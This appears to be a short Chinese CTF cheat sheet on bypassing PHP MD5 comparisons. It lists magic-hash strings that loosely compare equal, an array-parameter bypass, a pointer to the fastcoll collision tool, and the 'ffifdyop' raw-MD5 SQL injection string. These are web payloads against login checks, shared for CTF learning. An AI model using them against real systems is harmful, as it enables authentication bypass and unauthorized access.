【CTF-web】MD5绕过
1. 0e+数字 弱相等
如果两段字符md5后都是0e12345
这样的形式,那么它俩==
常见的有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
0e215962017
它们均==
0e830400451993494058024219903391
0e462097431906509019562988736854
0e545993274517709034328855841020
0e342768416822451524974117254469
0e848240448830537924465865611904
0e291242476940776845150308577824
0e215962017
的md5后0e291242476940776845150308577824
,有$a==md5($a)
原理是,0e为科学计数法,而0的任意次方均为0
2. 数组绕过
$a = $_GET["a"];
$b = $_GET["b"];
print_r(var_dump(md5($a) === md5($b)));
传入:a[]=1&b[]=2
,结果为真
原因是数组md5后返回了null
==
和===
均为truephp8失效
3. md5 碰撞(强类型绕过)
字符串不同但md5后相同
题目要求如$a!==$b&md5($a)===md($b)
可用fastcoll工具寻找,使用方式:将文件拖到该exe上,生产的两个文件内容不同,md5值相同
4. 与sql注入
ffifdyop
,这个MD5加密后276f722736c95d99e921722cf9ed621c
其中的276f722736
刚好是十六进制的'or'6
,而mysql会把hex转化为ASCII,形成了where password='' or '6xxxxx'的闭合